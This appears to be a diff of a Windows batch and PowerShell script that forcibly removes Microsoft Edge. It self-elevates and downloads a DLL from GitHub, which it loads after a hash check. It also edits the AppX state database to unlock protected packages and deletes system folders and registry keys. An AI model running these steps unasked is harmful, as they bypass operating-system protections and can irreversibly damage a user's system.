8167(8191 - 24; 24 - "set "reg_???_paths_scn="") -REM delimiter is \\, scan is recursive (see Both.bat for details) - -REM reg_SFT_paths_scn - is only for keys located under HIVE\SOFTWARE key -REM HIVE\SOFTWARE\ part should be excluded from path -echo [uninstall().appx.init.reg_SFT] %bat_dbg% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\SecurityManager\CapAuthz\ApplicationsEx" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\AppHost\IndexedDB" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\PushNotifications\Backup" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\Capabilities" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows NT\CurrentVersion\BackgroundModel\PreInstallTasks\RequireReschedule" %bat_log% -REM reg_CLS_paths_scn - is only for keys located under HIVE\SOFTWARE\Classes key -REM HIVE\SOFTWARE\Classes\ part should be excluded from path -echo [uninstall().appx.init.reg_CLS] %bat_dbg% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\ActivatableClasses\Package" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Extensions\ContractId" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\MrtCache" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PolicyCache" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData" %bat_log% - -echo [uninstall().appx] %bat_dbg% -call :appx_unlock_and_delete %bat_log% - -echo [uninstall().appx.done] %bat_dbg% - -echo [uninstall().end] %bat_dbg% - - - -REM #Cleanup -echo [cleanup()] %bat_dbg% -echo - Cleaning AppX remains -echo [cleanup().appx] %bat_dbg% -REM Delete remained packages -REM %SystemRoot%\SystemApps\Microsoft.MicrosoftEdge* -echo [cleanup().appx.SystemApps] %bat_dbg% -for /d %%d in ("%SystemRoot%\SystemApps\Microsoft.MicrosoftEdge*") do ( - echo dir: "%%~d" %bat_dbg% - takeown /f "%%~d" /r /d y %bat_dbg% - icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% - rd /s /q "%%~d" %bat_log% -) -REM %ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge* -echo [cleanup().appx.WindowsApps] %bat_dbg% -for /d %%d in ("%ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge*") do ( - echo dir: "%%~d" %bat_dbg% - takeown /f "%%~d" /r /d y %bat_dbg% - icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% - rd /s /q "%%~d" %bat_log% -) - -echo [cleanup().appx.done] %bat_dbg% - -echo [cleanup().end] %bat_dbg% - - - -REM Main script end -echo - Edge removal complete -echo [main_script.end] %bat_dbg% -REM remove hardlinks -del /f /q "%file_SQLite%" %bat_log% -echo [main_script.done] %bat_dbg% -exit /b 0 - - - -REM ===== Functions ===== - -REM labels, starts with underscore( _ ), are for internal usage and should not be called from main script -REM labels, starts with regular symbol, are public functions and can be called from main script - - -REM levels of logging verbosity - -:log_lvl.none -REM release mode -set "bat_log=>NUL 2>&1" -set "bat_dbg=>NUL 2>&1" -set "cll_dbg=%bat_dbg%" -set "psl_dbg=*^^^>$null" -set "for_psl_dbg=*^^^^^^^>$null" -REM set "for_psl_dbg_hlpr=" -REM power_hell(even 7.5) put errors to stdout if stderr not redirected -set "for_out_hlpr=2^>NUL" -REM set "for_out_get=" -REM set "for_out_del=" -REM all output mutes so there nothing in console -set "ecm=/c" -exit /b 0 - -:log_lvl.errors -REM errors only -set "bat_log=>NUL" -set "bat_dbg=>NUL 2>&1" -set "cll_dbg=%bat_dbg%" -set "psl_dbg=*^^^>$null" -set "for_psl_dbg=*^^^^^^^>$null" -REM set "for_psl_dbg_hlpr=" -set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" -set "for_out_get=1>&2(echo [for.cmd.errors] & type "%~dpn0_hlpr.log" & echo [for.cmd.end])" -set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" -set "ecm=/k" -exit /b 0 - -:log_lvl.debug -REM debug mode, put all output to file(except user-trageted output) -set "bat_log=>>"%~dpn0_dbg.log" 2>&1" -set "bat_dbg=>>"%~dpn0_dbg.log" 2>&1" -REM resolves issue with accessing log file from sub-routines -REM set "cll_dbg=" -REM set "psl_dbg=" -REM redirect debug to stderr -REM it can works without extra file but it's a quirk -set "for_psl_dbg=^^^^^^^|dbg2err" -set "for_psl_dbg_hlpr=function dbg2err^([Parameter^(ValueFromPipeline^)]$m^){process{[Console]::Error.WriteLine^($m^)}}" -set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" -set "for_out_get=echo [for.cmd] & type "%~dpn0_hlpr.log" & echo [for.cmd.end]" -set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" -REM all output redirected to file except batch errors -set "ecm=/k" -REM resolves issue with accessing log file on elevation -timeout /t 1 /nobreak >NUL 2>&1 -REM reset log file if this is not elevation re-run (bad check, cuz someone may pass an argument) -if "%~1" equ "" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" -if /i "%~1" equ "-auto" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" -exit /b 0 - - -REM check script and %tmp% directories for file, check file hash, (re-)download from URL if required -REM if file successfully validated its full path will be stored to variable -REM arguments: file name, file hash, file URL and variable name in this exact order -REM return result as exit code -:file_obtain -echo [file_obtain()] %cll_dbg% -echo name: "%~1" %cll_dbg% -echo hash: "%~2" %cll_dbg% -echo url: "%~3" %cll_dbg% -echo var: "%~4" %cll_dbg% -if "%~1" equ "" goto _file_obtain.fail -if "%~2" equ "" goto _file_obtain.fail -if "%~3" equ "" goto _file_obtain.fail -if "%~4" equ "" goto _file_obtain.fail - -set "on_hash_err=download" -set "file_path=%~dp0%~1" -if exist "%file_path%" goto _file_obtain.check -set "file_path=%tmp%\%~1" -if exist "%file_path%" goto _file_obtain.check - -echo file not cached %cll_dbg% - -:_file_obtain.download -if %has_net% equ 0 goto _file_obtain.net.fail - -echo [file_obtain().download] %cll_dbg% -set "on_hash_err=check.fail" -powershell -noprofile -c "[Net.WebClient]::new().DownloadFile('%~3', '%file_path%')" -if %errorlevel% neq 0 goto _file_obtain.download.fail -if not exist "%file_path%" goto _file_obtain.download.fail - -:_file_obtain.check -echo [file_obtain().check] "%file_path%"; on_hash_err: "%on_hash_err%" %cll_dbg% -powershell -noprofile -c "Import-Module Microsoft.PowerShell.Utility; exit ((Get-FileHash '%file_path%' -Algorithm SHA256).Hash.ToLower() -ne '%~2')" -if %errorlevel% neq 0 goto _file_obtain.%on_hash_err% - -set "%~4=%file_path%" -echo [file_obtain().done] %cll_dbg% -exit /b 0 - -:_file_obtain.fail -set "errorinfo=%ISSUE_GENERIC%: generic" -echo [file_obtain().fail] %cll_dbg% -exit /b %ISSUE_GENERIC% - -:_file_obtain.net.fail -set "errorinfo=%ISSUE_NETWORK%: no network" -echo [file_obtain().net.fail] %cll_dbg% -exit /b %ISSUE_NETWORK% - -:_file_obtain.download.fail -set "errorinfo=%ISSUE_DOWNLOAD%: download error" -echo [file_obtain().download.fail] %cll_dbg% -exit /b %ISSUE_DOWNLOAD% - -:_file_obtain.check.fail -set "errorinfo=%ISSUE_HASH%: hash mismatch" -echo [file_obtain().check.fail] %cll_dbg% -exit /b %ISSUE_HASH% - - - -REM ===== PowerShell(psl) based complex functions ===== -REM see Both.bat for details - - -REM unlock and delete packages matching the pattern -REM pattern should be in pkgs_pattern var -REM System.Data.SQLite.dll should be ready to use -:appx_unlock_and_delete -echo [appx_unlock_and_delete()] %cll_dbg% -if not defined pkgs_pattern goto _appx_unlock_and_delete.end -:_appx_unlock_and_delete.psl -echo [appx_unlock_and_delete().psl] %cll_dbg% -echo function main() {^ - "query packages"%psl_dbg%;^ - $pkgs = (Get-AppxPackage -AllUsers).Where({$_.PackageFullName -like $env:pkgs_pattern});^ - if ($pkgs.Count -eq 0) { "empty packages list"%psl_dbg%; return }^ - $pkgs.PackageFullName%psl_dbg%;^ - "packages queried"%psl_dbg%;^ - $locked_pkgs, $pkgs = $pkgs.Where({$_.NonRemovable}, 'Split');^ - $locked_pkgs = [string[]]($locked_pkgs.PackageFullName);^ - $pkgs = [string[]]($pkgs.PackageFullName);^ - ^ - if ($env:reg_SFT_paths_scn) { $reg_sft_paths_scn = $env:reg_SFT_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ - if ($env:reg_CLS_paths_scn) { $reg_cls_paths_scn = $env:reg_CLS_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ - if ($reg_sft_paths_scn -or $reg_cls_paths_scn) {^ - $usids_exclude = @('S-1-5-18', 'S-1-5-19', 'S-1-5-20');^ - $reg_usrs_hives = (reg query "$env:REG_USERS_PATH" /k /f "*").ForEach({$_.Substring($_.LastIndexOf('\')+1)}).Where({$_.StartsWith('S-1-') -and -not $usids_exclude.Contains($_)});^ - $reg_sft_hives = ($reg_usrs_hives.ForEach({"HKU\$_\SOFTWARE\"})) + @('HKU\.DEFAULT\SOFTWARE\', 'HKLM\SOFTWARE\');^ - $reg_cls_hives = ($reg_usrs_hives.ForEach({"HKU\$_`_Classes\"})) + @('HKU\.DEFAULT\SOFTWARE\Classes\', 'HKLM\SOFTWARE\Classes\');^ - }^ - ^ - if ($locked_pkgs.Count -gt 0) {^ - Add-Type -Path $env:file_SQLite;^ - $attempts = 3; $rslt = $false;^ - while ($attempts) { --$attempts; Unlock-Packages $locked_pkgs ([ref]$rslt); if ($rslt) { break }; Start-Sleep 3 }^ - if ($rslt) { $pkgs += $locked_pkgs } else { "package(s) still locked, exclude:`n" + ($locked_pkgs -join "`n")%psl_dbg% }^ - }^ - ^ - "removing"%psl_dbg%;^ - foreach ($pkg in $pkgs) {^ - "package: $pkg`nremove"%psl_dbg%;^ - Remove-AppxPackage -Package $pkg -User $env:USER_SID;^ - Remove-AppxPackage -Package $pkg -AllUsers;^ - ^ - $pkg_parts = $pkg.Split('_');^ - foreach ($reg_sft_hive in $reg_sft_hives) { reg delete "$reg_sft_hive`Microsoft\UserData\UninstallTimes" /v "$($pkg_parts[0])_$($pkg_parts[4])" /f }^ - RegCleanup-Package($pkg_parts);^ - $edge_chnl_pos = $pkg_parts[0].IndexOf('.MicrosoftEdge.');^ - if ($edge_chnl_pos -ge 0) {^ - "cleanup of base package"%psl_dbg%;^ - $pkg_parts[0] = $pkg_parts[0].Substring(0, $edge_chnl_pos + 14);^ - RegCleanup-Package $pkg_parts;^ - }^ - ^ - "deprovision"%psl_dbg%;^ - reg add "$env:REG_APPX_STORE\EndOfLife\$env:USER_SID\$pkg" /f;^ - reg add "$env:REG_APPX_STORE\EndOfLife\S-1-5-18\$pkg" /f;^ - reg add "$env:REG_APPX_STORE\Deprovisioned\$pkg" /f;^ - ^ - "package removed"%psl_dbg%;^ - }^ -}^ -function Unlock-Packages($pkgs, [ref]$rslt) {^ - "[Unlock-Packages()]`nstopping services"%psl_dbg%;^ - $rslt.Value = $false;^ - Stop-Service StateRepository -Force;^ - ^ - "acessing db files"%psl_dbg%;^ - takeown /f "$env:LOC_APPREPO_DB";^ - takeown /f "$env:LOC_APPREPO_DB`-shm";^ - takeown /f "$env:LOC_APPREPO_DB`-wal";^ - icacls "$env:LOC_APPREPO_DB*" /grant "$env:UserName`:F" /c;^ - ^ - "unlocking"%psl_dbg%;^ - $con = [System.Data.SQLite.SQLiteConnection]::new("Data Source=$env:LOC_APPREPO_DB");^ - $con.Open();^ - $cmd = $con.CreateCommand();^ - $cmd.CommandText = "SELECT name,sql FROM sqlite_master WHERE type='trigger' AND tbl_name='Package' AND name LIKE'%%AFTER%%' AND name LIKE'%%UPDATE%%'";^ - $res = $cmd.ExecuteReader();^ - $trgs = @{};^ - while ($res.Read()) { $trgs[$res.GetString(0)] = $res.GetString(1) } $res.Close();^ - ^ - try {^ - foreach ($trg_name in $trgs.Keys) { $cmd.CommandText = "DROP TRIGGER $trg_name"; $cmd.ExecuteNonQuery() }^ - foreach ($pkg in $pkgs) {^ - "package: $pkg"%psl_dbg%;^ - $cmd.CommandText = "UPDATE Package SET IsInbox=0 WHERE PackageFullName='$pkg'"; $cmd.ExecuteNonQuery();^ - reg delete "$env:REG_APPX_STORE\InboxApplications\$pkg" /f;^ - }^ - foreach ($trg_query in $trgs.Values) { $cmd.CommandText = $trg_query; $cmd.ExecuteNonQuery() }^ - "unlocked"%psl_dbg%;^ - $rslt.Value = $true^ - }^ - catch { $_%psl_dbg%; "unlocking failed"%psl_dbg% }^ - ^ - $con.Close();^ - "[Unlock-Packages().end]"%psl_dbg%^ -}^ -function RegCleanup-Package($pkg_fname_parts) {^ - "[RegCleanup-Package()]`nregistry scan"%psl_dbg%;^ - $pkg_name = $pkg_fname_parts[0] + '_';^ - $pkg_pid = '_' + $pkg_fname_parts[4];^ - $reg_pkg_keys = @();^ - foreach ($reg_sft_hive in $reg_sft_hives) {^ - foreach ($reg_sft_path in $reg_sft_paths_scn) {^ - $reg_pkg_keys += (reg query "$reg_sft_hive$reg_sft_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - }^ - }^ - foreach ($reg_cls_hive in $reg_cls_hives) {^ - foreach ($reg_cls_path in $reg_cls_paths_scn) {^ - $reg_pkg_keys += (reg query "$reg_cls_hive$reg_cls_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - }^ - }^ - $reg_pkg_keys += (reg query "$env:REG_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - $reg_pkg_keys += (reg query "$env:REG32_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ - ^ - "registry cleanup"%psl_dbg%;^ - foreach ($reg_pkg_key in $reg_pkg_keys) { $reg_pkg_key%psl_dbg%; reg delete $reg_pkg_key /f }^ - "[RegCleanup-Package().end]"%psl_dbg%;^ -}^ -main;^ -;| powershell -noprofile - - -:_appx_unlock_and_delete.end -echo [appx_unlock_and_delete().end] %cll_dbg% -exit /b 0 +@echo off & setlocal +REM land "clever" users back to native env (Win Vista and up; start /b not used due to some oddities) +if defined PROCESSOR_ARCHITEW6432 "%WinDir%\SysNative\cmd.exe" /c ""%~0" %*" & exit /b 0 + +REM +REM Check permissions and elevate if required +REM Obtain required files (from cache or from repo with hash validation) +REM Remove AppX +REM Remove AppX remains +REM + +set "ISSUE_GENERIC=1" +set "ISSUE_UAC=2" +set "ISSUE_NETWORK=3" +set "ISSUE_DOWNLOAD=4" +set "ISSUE_HASH=5" +set "ISSUE_ARCH=6" + +REM check for architecture (x86 and amd64 are supported, arm - not) +if /i "%PROCESSOR_ARCHITECTURE%" equ "amd64" goto arch.pass +if /i "%PROCESSOR_ARCHITECTURE%" equ "x86" goto arch.pass +echo "%PROCESSOR_ARCHITECTURE%" platform is unsupported & echo. & pause & exit /b %ISSUE_ARCH% +:arch.pass + +set "SCRIPT_VERSION=11/26/2025" +REM set logging verbosity ( log_lvl.none, log_lvl.errors, log_lvl.debug ) +REM also see Both.bat for details +call :log_lvl.debug "%~1" + +title Edge Remover - %SCRIPT_VERSION% +echo [main_script.start] %bat_dbg% + + + +echo [uac()] %bat_dbg% +REM Get executor SID (Win 2003(XP x64) and up) +for /f "skip=1 tokens=1,2 delims=," %%a in ('whoami /user /fo csv') do set "EXEC_SID=%%~b" +REM When script elevates itself, the user SID should be passed as 1st argument (bad input here is not my fault) +set "USER_SID=%~1" +REM Check Admin permissions +net session >NUL 2>&1 +echo err: %errorlevel%; EXEC_SID: "%EXEC_SID%"; USER_SID: "%USER_SID%" %bat_dbg% +if %errorlevel% equ 0 goto uac.success +REM When UAC disabled, elevation not works and SID never changes +if /i "%EXEC_SID%" equ "%USER_SID%" ( + echo Please, enable UAC and try again & echo. & pause & exit /b %ISSUE_UAC% +) +REM When 1st arg looks like valid NT_AUTHORITY SID, assume elevation by script (prevent infinite loop aka UAC bombing) +if /i "%USER_SID:~0,6%" equ "S-1-5-" ( + REM DO NOT put on the same line as condition: using another var after substring when its source is empty leads to hard fail + echo Built-in Admin account possibly corrupted & echo. & pause & exit /b %ISSUE_UAC% +) +REM Elevate with psl (don't try go around cmd /c; see Both.bat for quotes details) +echo Start-Process -Verb RunAs """$env:COMSpec""" "%ecm% """"%~0"" ""%EXEC_SID%"""""|powershell -noprofile - %bat_log% +echo [uac().elevated] err: "%errorlevel%" %bat_dbg% +exit /b %errorlevel% + +REM Admin permissions granted, executor SID may be a SID of Built-in Admin account if it's enabled +:uac.success +echo [uac().success] %bat_dbg% +REM 1st arg looks like valid rev.1 SID (assume elevation by script) +if /i "%USER_SID:~0,4%" equ "S-1-" goto uac.done +REM 1st arg does not look like valid SID (elevation NOT by script) +set "USER_SID=%EXEC_SID%" +REM When Built-in Admin account disabled, SID does not change on elevation and usually match the condition +if "%EXEC_SID:~-4%" neq "-500" goto uac.done +REM For automaters: when Built-in Admin account enabled, specify "-auto" as 1st argument to bypass confirmation +if /i "%~1" equ "-auto" goto uac.done +REM Built-in Admin account enabled and script not self elevated nor automated +choice /c yn /n /m "Logged as Admin? [Y,N]" +REM Check for positive answer, anything else considered as No +echo answer: %errorlevel% %bat_dbg% +if %errorlevel% equ 1 goto uac.done +echo Please, run script without elevation & echo. & pause & exit /b %ISSUE_UAC% + +:uac.done +echo [uac().done] %bat_dbg% + + + +set "has_net=0" +ipconfig | find "IPv" >NUL 2>&1 +if %errorlevel% equ 0 set "has_net=1" +echo has network: %has_net% %bat_dbg% + +REM prepare architecture-depend stuff (see Both.bat for details) +echo - Obtaining required files +echo [prepare()] %bat_dbg% +goto prepare.%PROCESSOR_ARCHITECTURE% + + +:prepare.amd64 +echo [prepare().amd64] %bat_dbg% + +call :file_obtain^ + "System.Data.SQLite.x64.dll"^ + "1b3742c5bd1b3051ae396c6e62d1037565ca0cbbedb35b460f7d10a70c30376f"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x64.dll"^ + "file_SQLite_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +set "file_SQLite=%file_SQLite_loc:.x64.=.%" + +goto prepare.end + + +:prepare.x86 +echo [prepare().x86] %bat_dbg% + +call :file_obtain^ + "System.Data.SQLite.x86.dll"^ + "845f7cbae72cf0a09a7f8740029ea9a15cb3a51c0b883b67b6ff1fc15fb26729"^ + "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x86.dll"^ + "file_SQLite_loc"^ + %bat_log% +if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% + +set "file_SQLite=%file_SQLite_loc:.x86.=.%" + +goto prepare.end + +:prepare.end +echo [prepare().end] %bat_dbg% +REM create hardlinks +del /f /q "%file_SQLite%" %bat_log% +fsutil hardlink create "%file_SQLite%" "%file_SQLite_loc%" %bat_log% + +echo [prepare().done] %bat_dbg% + + + +REM #Uninstall +echo [uninstall()] %bat_dbg% +echo - Removing AppX +echo [uninstall().appx.init] %bat_dbg% +set "LOC_APPREPO_DB=%AllUsersProfile%\Microsoft\Windows\AppRepository\StateRepository-Machine.srd" +set "REG_USERS_PATH=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" +set "REG_APPX_STORE=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" +set "REG32_APPX_STORE=HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" + +set "pkgs_pattern=*microsoftedge*" + +set "reg_SFT_paths_scn=" +set "reg_CLS_paths_scn=" +REM Registry locations for scan and remove appx keys, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_???_paths_scn="") +REM delimiter is \\, scan is recursive (see Both.bat for details) + +REM reg_SFT_paths_scn - is only for keys located under HIVE\SOFTWARE key +REM HIVE\SOFTWARE\ part should be excluded from path +echo [uninstall().appx.init.reg_SFT] %bat_dbg% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\SecurityManager\CapAuthz\ApplicationsEx" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\AppHost\IndexedDB" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\PushNotifications\Backup" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\Capabilities" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" %bat_log% +set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows NT\CurrentVersion\BackgroundModel\PreInstallTasks\RequireReschedule" %bat_log% +REM reg_CLS_paths_scn - is only for keys located under HIVE\SOFTWARE\Classes key +REM HIVE\SOFTWARE\Classes\ part should be excluded from path +echo [uninstall().appx.init.reg_CLS] %bat_dbg% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\ActivatableClasses\Package" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Extensions\ContractId" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\MrtCache" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PolicyCache" %bat_log% +set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData" %bat_log% + +echo [uninstall().appx] %bat_dbg% +call :appx_unlock_and_delete %bat_log% + +echo [uninstall().appx.done] %bat_dbg% + +echo [uninstall().end] %bat_dbg% + + + +REM #Cleanup +echo [cleanup()] %bat_dbg% +echo - Cleaning AppX remains +echo [cleanup().appx] %bat_dbg% +REM Delete remained packages +REM %SystemRoot%\SystemApps\Microsoft.MicrosoftEdge* +echo [cleanup().appx.SystemApps] %bat_dbg% +for /d %%d in ("%SystemRoot%\SystemApps\Microsoft.MicrosoftEdge*") do ( + echo dir: "%%~d" %bat_dbg% + takeown /f "%%~d" /r /d y %bat_dbg% + icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% + rd /s /q "%%~d" %bat_log% +) +REM %ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge* +echo [cleanup().appx.WindowsApps] %bat_dbg% +for /d %%d in ("%ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge*") do ( + echo dir: "%%~d" %bat_dbg% + takeown /f "%%~d" /r /d y %bat_dbg% + icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% + rd /s /q "%%~d" %bat_log% +) + +echo [cleanup().appx.done] %bat_dbg% + +echo [cleanup().end] %bat_dbg% + + + +REM Main script end +echo - Edge removal complete +echo [main_script.end] %bat_dbg% +REM remove hardlinks +del /f /q "%file_SQLite%" %bat_log% +echo [main_script.done] %bat_dbg% +exit /b 0 + + + +REM ===== Functions ===== + +REM labels, starts with underscore( _ ), are for internal usage and should not be called from main script +REM labels, starts with regular symbol, are public functions and can be called from main script + + +REM levels of logging verbosity + +:log_lvl.none +REM release mode +set "bat_log=>NUL 2>&1" +set "bat_dbg=>NUL 2>&1" +set "cll_dbg=%bat_dbg%" +set "psl_dbg=*^^^>$null" +set "for_psl_dbg=*^^^^^^^>$null" +REM set "for_psl_dbg_hlpr=" +REM power_hell(even 7.5) put errors to stdout if stderr not redirected +set "for_out_hlpr=2^>NUL" +REM set "for_out_get=" +REM set "for_out_del=" +REM all output mutes so there nothing in console +set "ecm=/c" +exit /b 0 + +:log_lvl.errors +REM errors only +set "bat_log=>NUL" +set "bat_dbg=>NUL 2>&1" +set "cll_dbg=%bat_dbg%" +set "psl_dbg=*^^^>$null" +set "for_psl_dbg=*^^^^^^^>$null" +REM set "for_psl_dbg_hlpr=" +set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" +set "for_out_get=1>&2(echo [for.cmd.errors] & type "%~dpn0_hlpr.log" & echo [for.cmd.end])" +set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" +set "ecm=/k" +exit /b 0 + +:log_lvl.debug +REM debug mode, put all output to file(except user-trageted output) +set "bat_log=>>"%~dpn0_dbg.log" 2>&1" +set "bat_dbg=>>"%~dpn0_dbg.log" 2>&1" +REM resolves issue with accessing log file from sub-routines +REM set "cll_dbg=" +REM set "psl_dbg=" +REM redirect debug to stderr +REM it can works without extra file but it's a quirk +set "for_psl_dbg=^^^^^^^|dbg2err" +set "for_psl_dbg_hlpr=function dbg2err^([Parameter^(ValueFromPipeline^)]$m^){process{[Console]::Error.WriteLine^($m^)}}" +set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" +set "for_out_get=echo [for.cmd] & type "%~dpn0_hlpr.log" & echo [for.cmd.end]" +set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" +REM all output redirected to file except batch errors +set "ecm=/k" +REM resolves issue with accessing log file on elevation +timeout /t 1 /nobreak >NUL 2>&1 +REM reset log file if this is not elevation re-run (bad check, cuz someone may pass an argument) +if "%~1" equ "" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" +if /i "%~1" equ "-auto" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" +exit /b 0 + + +REM check script and %tmp% directories for file, check file hash, (re-)download from URL if required +REM if file successfully validated its full path will be stored to variable +REM arguments: file name, file hash, file URL and variable name in this exact order +REM return result as exit code +:file_obtain +echo [file_obtain()] %cll_dbg% +echo name: "%~1" %cll_dbg% +echo hash: "%~2" %cll_dbg% +echo url: "%~3" %cll_dbg% +echo var: "%~4" %cll_dbg% +if "%~1" equ "" goto _file_obtain.fail +if "%~2" equ "" goto _file_obtain.fail +if "%~3" equ "" goto _file_obtain.fail +if "%~4" equ "" goto _file_obtain.fail + +set "on_hash_err=download" +set "file_path=%~dp0%~1" +if exist "%file_path%" goto _file_obtain.check +set "file_path=%tmp%\%~1" +if exist "%file_path%" goto _file_obtain.check + +echo file not cached %cll_dbg% + +:_file_obtain.download +if %has_net% equ 0 goto _file_obtain.net.fail + +echo [file_obtain().download] %cll_dbg% +set "on_hash_err=check.fail" +powershell -noprofile -c "[Net.WebClient]::new().DownloadFile('%~3', '%file_path%')" +if %errorlevel% neq 0 goto _file_obtain.download.fail +if not exist "%file_path%" goto _file_obtain.download.fail + +:_file_obtain.check +echo [file_obtain().check] "%file_path%"; on_hash_err: "%on_hash_err%" %cll_dbg% +powershell -noprofile -c "Import-Module Microsoft.PowerShell.Utility; exit ((Get-FileHash '%file_path%' -Algorithm SHA256).Hash.ToLower() -ne '%~2')" +if %errorlevel% neq 0 goto _file_obtain.%on_hash_err% + +set "%~4=%file_path%" +echo [file_obtain().done] %cll_dbg% +exit /b 0 + +:_file_obtain.fail +set "errorinfo=%ISSUE_GENERIC%: generic" +echo [file_obtain().fail] %cll_dbg% +exit /b %ISSUE_GENERIC% + +:_file_obtain.net.fail +set "errorinfo=%ISSUE_NETWORK%: no network" +echo [file_obtain().net.fail] %cll_dbg% +exit /b %ISSUE_NETWORK% + +:_file_obtain.download.fail +set "errorinfo=%ISSUE_DOWNLOAD%: download error" +echo [file_obtain().download.fail] %cll_dbg% +exit /b %ISSUE_DOWNLOAD% + +:_file_obtain.check.fail +set "errorinfo=%ISSUE_HASH%: hash mismatch" +echo [file_obtain().check.fail] %cll_dbg% +exit /b %ISSUE_HASH% + + + +REM ===== PowerShell(psl) based complex functions ===== +REM see Both.bat for details + + +REM unlock and delete packages matching the pattern +REM pattern should be in pkgs_pattern var +REM System.Data.SQLite.dll should be ready to use +:appx_unlock_and_delete +echo [appx_unlock_and_delete()] %cll_dbg% +if not defined pkgs_pattern goto _appx_unlock_and_delete.end +:_appx_unlock_and_delete.psl +echo [appx_unlock_and_delete().psl] %cll_dbg% +echo function main() {^ + "query packages"%psl_dbg%;^ + $pkgs = (Get-AppxPackage -AllUsers).Where({$_.PackageFullName -like $env:pkgs_pattern});^ + if ($pkgs.Count -eq 0) { "empty packages list"%psl_dbg%; return }^ + $pkgs.PackageFullName%psl_dbg%;^ + "packages queried"%psl_dbg%;^ + $locked_pkgs, $pkgs = $pkgs.Where({$_.NonRemovable}, 'Split');^ + $locked_pkgs = [string[]]($locked_pkgs.PackageFullName);^ + $pkgs = [string[]]($pkgs.PackageFullName);^ + ^ + if ($env:reg_SFT_paths_scn) { $reg_sft_paths_scn = 